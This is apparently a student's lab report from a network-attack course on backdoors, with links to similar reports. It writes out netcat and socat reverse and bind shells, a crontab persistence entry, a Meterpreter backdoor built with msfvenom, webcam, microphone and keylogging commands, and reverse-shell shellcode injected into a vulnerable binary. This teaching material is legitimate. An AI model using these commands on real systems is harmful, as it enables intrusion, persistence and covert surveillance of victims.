2019-2020-3 20174318张致豪《网络对抗技术》Exp2 后门原理与实践
Exp2 后门原理与实践
前期准备
一、实验目标与基础知识
1.1 实践目标
使用netcat获取主机操作Shell,cron启动
使用socat获取主机操作Shell,任务计划启动
使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
1.2 基础知识
1. 什么是后门?
后门是指绕过安全性控制而获取对程序或系统访问权的方法。
2. 常用后门工具
Netcat:它是一个底层工具,在网络工具中有“瑞士军刀”的美誉,进行基本的 TCP、UDP 数据收发。常被与其他工具结合使用,起到后门的作用。
Socat:它是 Linux 下的一个多功能的网络工具,名字来由是 Socket CAT,功能与 Netcat 相似,可以看做是 Netcat 的加强版。
Meterpreter:它是 Metasploit 框架中功能强大的后渗透模块。可以通过 Meterpreter 的客户端执行攻击脚本,远程调用目标主机上运行的 Meterpreter 服务端。
PowerSpoit:基于 PowerShell 的后门集成框架。需要 .Net 环境支持。
InterSect:是一个后渗透完成多种后期任务的Python程序。它能够自动收集密码文件和网络信息,并且能够识别杀毒软件和防火墙程序。
Weevely:是一款功能强大的PHP后门工具,它使用HTTP协议包头部进行指令传输。它的使用非常简单,但仅支持php语言。
二、软件下载 & 功能测试
2.1在windows下载 Netcat & Socat
从老师所给指导的附件里下载 Netcat 与 Socat 文件,在本机解压后放置到相应的文件夹。
这里我把 Netcat 文件夹放置到了系统文件目录里,即 C 盘里的 system32 目录,放置在这里有个好处就是我们使用 cmd 运行 Netcat 的命令时,不必在原本下载的目录里运行,也不必以 ncat.exe 的形式运行,直接 cmd 打开输入 ncat 就能跑,虽然也节省不了多少时间。
在本机命令行里直接输入 ncat ,若能返回提示需指定要连接的主机,则说明 Netcat 载入好了。同理,运行 socat.exe ,返回相关提示即可。
2.2 Win获得 Linux Shell
在 Windows 的 cmd 中使用 ipconfig
查看本机 ip 地址,发现 Windows 端 ip 为192.168.0.105
Windows 端继续,使用 ncat 程序监听本机的 4318 端口号,输入 ncat -l -p 4318
,l 指 listen ,即监听
接下来,在 kali 中反弹连接 Windows 的 4318 端口,ncat 192.168.0.105 4318 -e /bin.sh
,使用 -e
选项执行shell程序
返回 Winodws 端的命令行,发现 kali 机被攻击成功,在 Windows 中获取了 kali 的 shell
2.2 Linux 获得 Windows Shell
在 kali 的终端中输入 ifconfig
查看 Linux 端 ip 地址,发现 ip 为 192.168.0.106
kali 中终端输入 nc -l -p 4318
,监听本机 4318 端口
在 Windows 中反弹连接 kali 的 4318 端口,ncat 192.168.0.106 4318 -e /bin.sh
,这里的 ip 地址应为 kali 机的 ip
返回 kali 的终端,发现 Windows 机被攻击成功,在 kali 中获取了 Windows 的 shell
2.3 使用 Ncat 传输数据
在安装了 Netcat 的主机里,都可以进行连接,这里我们选择 kali 连接到 Windows
首先在 Windows 下监听 4318 端口,输入 ncat -l 4318
kali 反弹连接到 Windows 的 4318 端口 ,终端输入 nc 192.168.0.105 4318
,这里的 ip 地址为 Win 端的
等待小会儿后,连接成功,双方可以进行相互通信
2.4 使用 Ncat 传输文件
连接的双方,同样可以进行文件的传输,我们选择把文件从 kali 传到 Windows
首先,Windows 端监听本机 4318 端口,并把收到的数据保存到 file1.out 中,cmd 中输入ncat -l 4318
> file1.out
接下来,kali 反弹连接到 Windows (ip)的 4318 端口,并将 kali 端的文件 file1.in 传输过去,终端输入 nc 192.168.0.105 4318 < file1.in
返回 Windows 端,在文件夹中若能找到文件 file1.out ,表明接收成功
实验步骤
一、使用 Netcat 获取主机操作 Shell ,cron 启动
Step
- Windows cmd 内输入
ncat -l -p 4318
- kali 终端里输入
crontab -e
- 在编辑器内按
i
进入添加状态,在最后一行添加43 * * * * /bin/netcat 192.168.0.105 4318 -e /bin/sh
- Windows cmd 内输入
详细解析:
首先,在 Windows 端内监听本机的 4318 端口,输入ncat -l -p 4318
后该命令行窗口进入监听状态
接下来,在 kali 端内编辑一条定时任务,终端输入 crontab -e
,这里 crontab
表示增加一条定时任务,-e
表示进入编辑状态
在选择了 vim 编辑器进行编辑后,进入 vim 端,在最后一行添加 43* * * * /bin/netcat 192.168.0.105 4318 -e /bin/sh
意思是,每个小时的第 43 分钟反向连接 Windows 主机的 4318 端口
等待 1 分钟到了 43 分后,我们就发现此时 Windows 已经获取了 kali 的 Shell
二、使用 Socat 获取主机操作 Shell ,任务计划启动
Step
Win+R
输入compmgmt.msc
- 在任务计划程序中创建任务并设置触发器、新建任务操作
- 实施之前所设置的触发器
- kali 端输入指令
socat - tcp:192.168.0.105:4318
详细解析:
首先,Windows端键盘点击Win+R
输入 compmgmt.msc
打开“计算机管理”
在「任务计划程序」中点击「创建任务」
填写新建任务的名称,并新建一个触发器
在操作->新建->程序或脚本中选择 socat.exe
文件的路径,在添加参数一栏填写 tcp-listen:4318 exec:cmd.exe,pty,stderr
,这个命令的作用是把 cmd.exe
绑定到端口 4318
,同时把 cmd.exe
的 stderr
重定向到 stdout
上
创建完毕后,新建任务进入准备状态
然后,实施我们的触发条件,锁定 Windows 计算机,再次打开计算机时,我们创建的任务就已经开始运行了,此时会弹出一个 cmd 窗口,表明 socat 程序开始运行。
切换到 kali 中输入输入指令 socat - tcp:192.168.0.105:4318
,这里的第一个参数-代表标准的输入输出,第二个流连接到 Windows 主机的 4318 端口,此时可以发现已经成功获得了 cmd shell
三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
Step
- kali 终端内输入指令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=4318 -f exe > 20174318_backdoor.exe
- Windows端输入
ncat -lv 4318 > 20174318_backdoor.exe
- 在Linux中执行
nc 192.168.0.105 4318 < 20174318_backdoor.exe
- kali 端输入指令
msfconsole
- 依次输入以下指令
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.0.106
set LPORT 4318
exploit
- Windows 下运行 20174318_backdoor.exe
- kali 终端内输入指令:
详细解析:
首先,在 kali 内生成后门程序,并设定为控制端,在终端输入指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=4318 -f exe > 20174318_backdoor.exe
, ip 地址为控制端的 ip
接着,在 Windows 通过 ncat.exe -lv 4318 > 20174318_backdoor.exe
指令使本机进入接受文件模式
在 kali 中执行 nc 192.168.0.105 4318 < 20174318_backdoor.exe
,注意这里的IP为被控主机IP,即WindowsIP,将后门程序传送过去
Windows 接收程序成功
之后,在kali上使用 msfconsole
指令进入msf控制台,并依次输入以下指令
- 输入
use exploit/multi/handler
使用监听模块,设置 payload set payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的 payloadset LHOST 192.168.0.106
,这里用的是 kali 的 ip,和生成后门程序时指定的 ip 相同set LPORT 4318
,同样要使用相同的端口
- 输入
设置完成之后,输入指令exploit
执行监听,并运行Windows下的后门程序,此时kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
Step
- 输入
record.mic
- 输入
webcam_snap
- 输入
keyscan.start
&keyscan_dump
- 输入
screenshot
- 输入
getuid
&getsystem
- 输入
详细解析:
使用 record_mic
指令可以截获一段音频
使用webcam_snap
指令可以使用摄像头进行拍照
使用keyscan_start
指令记录下击键的过程,keyscan_dump
指令读取击键记录
使用screenshot
指令可以进行截屏
使用 getuid
指令可以查看当前用户,getsystem
指令进行提权操作,但未实现
五、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
Step
- 在 kali 终端里注入 shellcode
- 参照实验一步骤三找到 shellcode 起始位置
- 修改 shellcode
- 在另一终端中打开 msfconsole ,与步骤三一样操作打开监听
- 返回原来终端输入:
(cat input1;cat) | ./pwn1
详细解析:
在测定可以用的 shellcode 网站中找到一个基于 linux/x86 平台的shellcode代码,将里面的机械码复制出来。
原始代码如下:
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"
为了找到 shellcode 的起始地址,我们参照实验一的做法,首先基于该原始代码,注入一段用于查找的 shellcode
经过实验一中 gdb 、反汇编等一系列操作后,我们找到了 0x90\0x90\0x90\0x90 的位置
从而计算出该 shellcode 的起始位置为 0xffffd1c0
,接下来只需修改 shellcode 的代码即可
然后,在另一个终端中打开 msfconsole
,并打开监听,参照步骤三的过程,依次输入以下指令
- use exploit/multi/handler
- set payload linux/x86/shell_reverse_tcp
- set LHOST 127.0.0.1
- set LPORT 4444
- exploit
其中,LHOST 和 LPORT 都是根据网上下载的可用的 shellcode 的标注填写的
最后,在原本的终端里输入指令:(cat input_shellcode;cat) | ./pwn1
,按下回车键后开始运行,在另一个终端中就发现注入的shell开始运行了
实验总结
一、基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
『后门可能会通过网页挂马的方式,当我们点击不安全的网页链接时,自动跳转并下载在我们主机,然后隐藏在系统自启动目录里』
(2)例举你知道的后门如何启动起来( win 及 linux )的方式?
『 win:通过点击钓鱼网站链接;添加自启动代码,每次开机自启
linux:通过本实验中的 crontab 命令设置定时或其他触发器启动』
(3)Meterpreter有哪些给你映像深刻的功能?
『能够抓拍、录入声音、截图、获取键盘输入记录给我留下了深刻的印象,这些都是能极度威胁我们隐私的行为,让我觉得没有安全可言』
(4)如何发现自己有系统有没有被安装后门?
『利用 netcat 查看有没有开放异常的端口;系统杀毒软件的检测提示;任务管理器查看异常进程』
二、实验总结与体会
本次实验做起来就和大二上学期的信息安全概论实验一样,通过指令在两个终端内随意传输数据、文件,让人觉得计算机系统没有安全可言,虽然实验中都是我们自己操作被攻击方运行攻击方的程序,但也给我提了一个醒,因为实施攻击的人总是会千方百计的让你去运行它的恶意程序,后门就是一个不容易引起我们注意的方式,所以我们得在强化自身防范意识的同时,增强自身相关的知识积累,说不定什么时候就能派上用场了。
与实验一比起来,本次实验遇到了更多的问题,但好在都是比较常见的,参考老师的演译视频与其他同学的博客以及网上的资料,成功的完成了本次实验,下面我就来分享一下我所遇到的问题。
- Netcat 只能单方向连接
在刚安装好 netcat 时,进行 Windows 获得 Linux Shell 测试时,Win 端的 cmd 进入监控状态后,kali 端反弹连接始终无法成功,Linux 的 nc 返回 TIMEOUT 的错误,与老师视频或其他同学的错误目标主机积极拒绝不同。但是我反过来试让Linux 获取 Windows Shell 却能成功,我尝试着关闭了 Windows 主机的防火墙与杀毒软件,但都未遂;不知所措的我开始了下一步操作,让 Windows 和 Linux 建立连接传数据,结果 Linux监听, Windows 反弹连接能通信成功,换成Windows端监听, Linux 端去反弹又不能成功了。我便怀疑是不是 Windows 端的 ip 地址错误、端口没有打开或者 Linux 端防火墙给阻断了,操作了一通后最终解决了这个问题,只不过我也不清楚到底是哪一步操作把它给弄好了。(Linux 端反弹连接错误忘截图了,大概是输入「nc 192.168.0.105 4318 -e /bin/sh」终端返回「nc: TIMEOUT」)
- msfconsole 指令无法打开 msf
问题如上所示,与其他大部分同学无法启动 msf 的返回错误不同,它给我的返回信息时让我下载 bundler ,照着它的要求我试着下载了 bundler(apt-get install bundler 步骤未截图,自动更新到了 bundler 2.1.3),结果出现了新的问题
巴拉巴拉一大堆,让我 root 模式不要运行 bundler,不明所以的我只好寻求网络的帮助,给的建议是下载 bundler 1.17.3 版本
结果这样就成功了
- 使用 MSF 生成的 Shellcode 注入到 pwn1 运行后返回段错误
这个错误犯得特别低级,我默认以为这一段 Shellcode 的起始地址就是我第一次实验时的那一段 Shellcode 的地址,直接就填上去了,试了好几次发现返回都是段错误,才意识到哪儿错了。
2019-2020-3 20174318张致豪《网络对抗技术》Exp2 后门原理与实践的更多相关文章
- 2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践
2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践 实验内容 使用netcat获取主机操作Shell,cron启动: 使用socat获取主机操作Shell, 任务 ...
- 20145331魏澍琛《网络对抗》Exp2 后门原理与实践
20145331魏澍琛<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 上网时候弹出一个广告说你中奖了,或者你可以贷款10万元之类 ...
- 20155324《网络对抗》Exp2 后门原理与实践
20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...
- 20155208徐子涵《网络对抗》Exp2 后门原理与实践
20155208徐子涵<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 答:当我们在非官方网站上下载软件时,后门极有可能会进入我们 ...
- 20155326刘美岑 《网络对抗》Exp2 后门原理与实践
20155326刘美岑 <网络对抗>Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...
- 20145236《网络对抗》Exp2 后门原理与实践
20145236<网络对抗>Exp2 后门原理与实践 目录: 一.基础问题回答 二.常用后门工具实践 2.1 Windows获得Linux Shell 2.2 Linux获得Windows ...
- 20155202 张旭《网络对抗》Exp2 后门原理与实践
20155202 张旭<网络对抗>Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 捆绑在软件中 注入在可执行文件里 注入在office文件的宏里面 ...
- 20155218《网络对抗》Exp2 后门原理与实践
20155218<网络对抗>Exp2 后门原理与实践 常用后门工具实践 1.Windows获得Linux Shell: 在Windows下,先使用ipconfig指令查看本机IP,使用nc ...
- 20155227《网络对抗》Exp2 后门原理与实践
20155227<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 在非官方网站下载软件时,后门很可能被捆绑在软件中. 攻击者利用欺 ...
- 20155232《网络对抗》Exp2 后门原理与实践
20155232<网络对抗>Exp2 后门原理与实践 问题回答 1.例举你能想到的一个后门进入到你系统中的可能方式? 通过网页上弹出来的软件自动安装 2.例举你知道的后门如何启动起来(wi ...
随机推荐
- [C#] 动态指定泛型类型
前言 今天为了程序能写好看一点,一直在纠结怎么指定动态泛型, 但是想想实用性好像不太大,可是把这技术忘掉太可惜XD 还是记录下来,以防忘记 以下程序范例 类 cs 123456789101112131 ...
- sklearn包源码分析(一)--neighbors
python如何查看内置函数的用法及其源码? 在anaconda的安装目录下,有一块会放着我们安装的所有包,在里面可以找到所有的包 找到scikit learn包,进入 这里面又有了多个子包,每个子包 ...
- AndroidP推出多项AI功能,会不会引发新的隐私担忧?
让谷歌很"伤心"的是,相比苹果iOS系统的统一,Android系统的碎片化态势实在太严重了.就像已经发布一年多的Android O,其占有率仅有4.6%.主要是因为很多手机厂商都会 ...
- vuex分模块管理
1.定义命名空间 dog.js export default { namespaced: true, // 局部状态 state: { name: "拉布拉多", age: 1 } ...
- Android开发之《制作自己的su文件》
目录结构 ─ hello ├── jni ├── Android.mk └── hello.c 编译步骤: # cd hello # export NDK_PROJECT_PATH=`pwd` # ...
- VS自身的单元测试方法DEMO
///用来修饰测试类 [TestClass()] public class Program { private TestContext testContextInstance; /// <sum ...
- Dockfile自动创建discuz论坛和可道云
将discuz论坛的zip包解压之后用tar包压缩,这样ADD可以直接解压tar包. [root@localhost centos6.9_ssh_discuz]# pwd /opt/dockerfil ...
- 那些被刻意“阉割”的名人名言
"天才是百分之一的灵感,百分之九十九的汗水",这句名言大家都知道的吧!不过还有好多人不知道的是这句名言还有后半句:"但百分之一的灵感甚至比百分之九十九的汗水更重要.&qu ...
- 从又一家外卖被Uber收购,看美团打车未来
别以为Uber在中国失利,连优步中国都被滴滴收购了,就认为Uber已经不行了.其实从全球范围内来看,Uber还是相当强势的--创始人的那些破事儿不算在内.此外,更重要的是Uber已经不单单是在打车业务 ...
- mongodb 4.0配置认证模块
use admin db.createUser({user:"root",pwd:"xxx",roles:[{role:"root",db: ...